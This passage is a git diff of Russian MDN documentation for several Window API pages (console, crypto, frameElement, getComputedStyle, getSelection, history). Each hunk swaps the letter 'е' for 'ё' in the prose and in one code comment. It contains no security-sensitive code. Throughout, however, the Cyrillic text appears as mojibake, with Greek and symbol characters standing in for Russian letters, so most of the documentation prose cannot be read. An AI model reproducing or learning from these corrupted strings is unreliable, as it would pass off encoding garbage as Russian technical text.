-<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ функция <code>refreshPopupWindow()</code>Β Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>reload</code>Β Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π»ΠΎΠΊΠ°Ρ†ΠΈΠΈ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π° для обновлСния Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Π³ΠΎ Π·Π°ΠΊΡ€Ρ‹Π», ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ.</p>
+<p>Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ функция <code>refreshPopupWindow()</code>Β Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>reload</code>Β Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π»ΠΎΠΊΠ°Ρ†ΠΈΠΈ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π° для обновлСния Π΅Π³ΠΎ Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ Π΅Ρ‰Ρ‘ Π½Π΅ Π±Ρ‹Π»ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎ ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π΅Π³ΠΎ Π·Π°ΠΊΡ€Ρ‹Π», ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π½ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ.</p>
<pre class="brush:js">var popupWindow = null;
diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html
index d6fac2ad19..6901458922 100644
--- a/files/ru/web/api/window/console/index.html
+++ b/files/ru/web/api/window/console/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/console
---
<p>{{ APIRef }}</p>
-<p>Бвойство <strong><code>window.console</code></strong> Π΄Π°Π΅Ρ‚ доступ ΠΊ интСрфСйсу {{domxref("Console")}}, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² консоль Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π”Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ прилоТСния, ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ.</p>
+<p>Бвойство <strong><code>window.console</code></strong> Π΄Π°Ρ‘Ρ‚ доступ ΠΊ интСрфСйсу {{domxref("Console")}}, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Π²Ρ‹Π²ΠΎΠ΄Π° ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² консоль Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π”Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ прилоТСния, ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html
index f103f43f97..e70c15e507 100644
--- a/files/ru/web/api/window/crypto/index.html
+++ b/files/ru/web/api/window/crypto/index.html
@@ -10,7 +10,7 @@ translation_of: Web/API/Window/crypto
---
<p>{{APIRef}}</p>
-<p>{{domxref("Window.crypto")}} Π΄Π°Π΅Ρ‚ доступ к интСрфСйсу {{domxref("Crypto")}}. Π­Ρ‚ΠΎΡ‚ интСрфСйс прСдоставляСт Π²Π΅Π±-страницС доступ ΠΊ встроСнным Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ возмоТностям ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ.</p>
+<p>{{domxref("Window.crypto")}} Π΄Π°Ρ‘Ρ‚ доступ к интСрфСйсу {{domxref("Crypto")}}. Π­Ρ‚ΠΎΡ‚ интСрфСйс прСдоставляСт Π²Π΅Π±-страницС доступ ΠΊ встроСнным Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ возмоТностям ΠΊΡ€ΠΈΠΏΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html
index bd901523fb..9b1900a74e 100644
--- a/files/ru/web/api/window/frameelement/index.html
+++ b/files/ru/web/api/window/frameelement/index.html
@@ -31,7 +31,7 @@ if (frameEl) {
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ нСсмотря Π½Π° своС имя, свойство Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>&lt;object&gt;</code>Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… встраиваСмых элСмСнтов.</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ нСсмотря Π½Π° своё имя, свойство Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>&lt;object&gt;</code>Β ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… встраиваСмых элСмСнтов.</p>
<h2 id="Specification" name="Specification">БпСцификация</h2>
diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html
index 85080b7fa7..bb728217ab 100644
--- a/files/ru/web/api/window/getcomputedstyle/index.html
+++ b/files/ru/web/api/window/getcomputedstyle/index.html
@@ -17,11 +17,11 @@ translation_of: Web/API/Window/getComputedStyle
<dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ° ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ Π½Π° Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ псСвдо-элСмСнт. ΠžΠΏΡƒΡΠΊΠ°Π΅Ρ‚ΡΡΒ (ΠΈΠ»ΠΈΒ <code>null</code>) для Π½Π΅ псСвдо-элСмСнтов.</dd>
</dl>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉΒ <code>style</code>Β ΠΆΠΈΠ²ΠΎΠΉΒ {{domxref("CSSStyleDeclaration")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обновляСтся автоматичСски ΠΊΠΎΠ³Π΄Π° элСмСнт стилСй измСняСтся.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉΒ <code>style</code>Β ΠΆΠΈΠ²ΠΎΠΉΒ {{domxref("CSSStyleDeclaration")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ обновляСтся автоматичСски ΠΊΠΎΠ³Π΄Π° элСмСнт стилСй измСняСтся.</p>
<h2 id="Π’Ρ‹Π²ΠΎΠ΄Ρ‹">Π’Ρ‹Π²ΠΎΠ΄Ρ‹</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>Window.getComputedStyle()</code> прСдоставляСт всС значСния CSS свойств элСмСнтов послС примСнСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉΒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй или базового расчСта ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>Window.getComputedStyle()</code> прСдоставляСт всС значСния CSS свойств элСмСнтов послС примСнСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉΒ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй или базового расчёта ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ,Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -73,7 +73,7 @@ var style = window.getComputedStyle(elem1, null);
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - это Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся ΠΈΠ· свойства элСмСнта {{domxref("HTMLElement.style", "style")}}; Π’Π°ΠΊ ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅, эти Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠΌΠ΅ΡŽΡ‚ разныС назначСния. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся ΠΈΠ·Β <code>getComputedStyle</code>Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для инспСктирования стиля элСмСнта (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ описаниС ΠΈΠ·Β <code>&lt;style&gt;</code> элСмСнта ΠΈΠ»ΠΈ внСшнСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй). ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>element.style</code> слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для установки стилСй Π½Π° спСцифичСских элСмСнтах.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - это Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся ΠΈΠ· свойства элСмСнта {{domxref("HTMLElement.style", "style")}}; Π’Π°ΠΊ ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅, эти Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠΌΠ΅ΡŽΡ‚ разныС назначСния. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся ΠΈΠ·Β <code>getComputedStyle</code>Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для инспСктирования стиля элСмСнта (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ описаниС ΠΈΠ·Β <code>&lt;style&gt;</code> элСмСнта ΠΈΠ»ΠΈ внСшнСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй). ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <code>element.style</code> слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для установки стилСй Π½Π° спСцифичСских элСмСнтах.</p>
<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉΒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π±Ρ‹Ρ‚ΡŒ элСмСнтом (вставка узлов ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ элСмСнтами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>#text</code> выдаст ΠΎΡˆΠΈΠ±ΠΊΡƒ).</p>
diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html
index c70c51e40c..e8f6f3fa73 100644
--- a/files/ru/web/api/window/getselection/index.html
+++ b/files/ru/web/api/window/getselection/index.html
@@ -25,7 +25,7 @@ translation_of: Web/API/Window/getSelection
var selObj = window.getSelection();
alert(selObj);
var selRange = selObj.getRangeAt(0);
- // Π²Π΅Ρ€Π½Π΅Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Range
+ // Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Range
}</pre>
<h2 id="Notes" name="Notes">Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ</h2>
@@ -34,7 +34,7 @@ translation_of: Web/API/Window/getSelection
<p>Π’ JavaScript ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΡƒΡŽ строку (ΠΊΠ°ΠΊ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β {{ Domxref("window.alert()") }} ΠΈΠ»ΠΈ ΠΆΠ΅Β {{ Domxref("document.write()") }}), функция ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅Ρ‚ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΠ· любого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° строку, Π΄Π°ΠΆΠ΅ Ссли этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ со своими ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ ΠΈ свойствами.</p>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <code>selObj.toString() автоматичСски задСйствуСтся, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π²Β </code>{{domxref("window.alert()")}}Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ selObj ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ строкой. Однако ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° String, ΠΊΠ°ΠΊ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ :Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. Π’ слСдствии Ρ‡Π΅Π³ΠΎ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄ Β Β <code>toString(), ΠΊΠ°ΠΊ Ρ‚ΡƒΡ‚:</code></p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <code>selObj.toString() автоматичСски задСйствуСтся, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π²Β </code>{{domxref("window.alert()")}}Β ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ selObj ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ строкой. Однако ΠΌΡ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° String, ΠΊΠ°ΠΊ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ :Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="JS/String.length">length</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substr" title="JS/String.substr">substr</a></code>. Π’ слСдствии Ρ‡Π΅Π³ΠΎ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄ Β Β <code>toString(), ΠΊΠ°ΠΊ Ρ‚ΡƒΡ‚:</code></p>
<pre class="brush:js;gutter:false;">var selectedText = selObj.toString();</pre>
@@ -49,7 +49,7 @@ translation_of: Web/API/Window/getSelection
<p>Поля Π²Π²ΠΎΠ΄Π° HTML (inputs) ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ API для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ тСкстом (смотритС {{domxref("HTMLInputElement.setSelectionRange()")}}).</p>
-<p>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ, Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄ΡƒΒ <em>selection</em> ΠΈ <em>focus</em>. {{domxref("Document.activeElement")}} Β - это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вСрнСтся элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π΄Π΅Π»Π΅Π½ (focused) .</p>
+<p>На Π·Π°ΠΌΠ΅Ρ‚ΠΊΡƒ, Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄ΡƒΒ <em>selection</em> ΠΈ <em>focus</em>. {{domxref("Document.activeElement")}} Β - это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вСрнётся элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π΄Π΅Π»Π΅Π½ (focused) .</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html
index fb679f5282..130637f6d3 100644
--- a/files/ru/web/api/window/history/index.html
+++ b/files/ru/web/api/window/history/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/history
---
<p>{{ APIRef }}</p>
-<p><code><strong>Window</strong>.<strong>history</strong></code> являСтся свойством Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΌΡΡ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("History")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт интСрфСйс для манипулирования историСй сСссии Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (страницы, посСщСнныС Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницС).</p>
+<p><code><strong>Window</strong>.<strong>history</strong></code> являСтся свойством Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΌΡΡ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("History")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ прСдоставляСт интСрфСйс для манипулирования историСй сСссии Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (страницы, посСщённыС Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ ΠΈΠ»ΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ страницС).</p>
<p>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/ru/docs/Web/API/History_API">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ историСй Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a> для ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈ подробностСй. Π’ частности, Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ особСнности бСзопасности ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²Β <code>pushState()</code>Β ΠΈ <code>replaceState()</code>, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π² курсС ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΡ… использованиСм.</p>
@@ -22,11 +22,11 @@ history.go(-1); // эквивалСнт history.back();
<h2 id="ЗамСчания">ЗамСчания</h2>
-<p>Для послСднСй Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ страницы Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ список ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>History</code>, Π² Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΌ спискС ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ°ΠΌ "Π½Π°Π·Π°Π΄" ΠΈ "Π²ΠΏΠ΅Ρ€Π΅Π΄".</p>
+<p>Для послСднСй Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΉ страницы Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ список ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… страниц, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>History</code>, Π² Π²Ρ‹ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅ΠΌ спискС ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ°ΠΌ "Π½Π°Π·Π°Π΄" ΠΈ "Π²ΠΏΠ΅Ρ€Ρ‘Π΄".</p>
<p>По ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ бСзопасности ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>History</code>Β Π½Π΅ позволяСт Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ URL Π΄Ρ€ΡƒΠ³ΠΈΡ… страниц, Π½ΠΎ позволяСт ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ ΠΏΠΎ истории сСссии.</p>
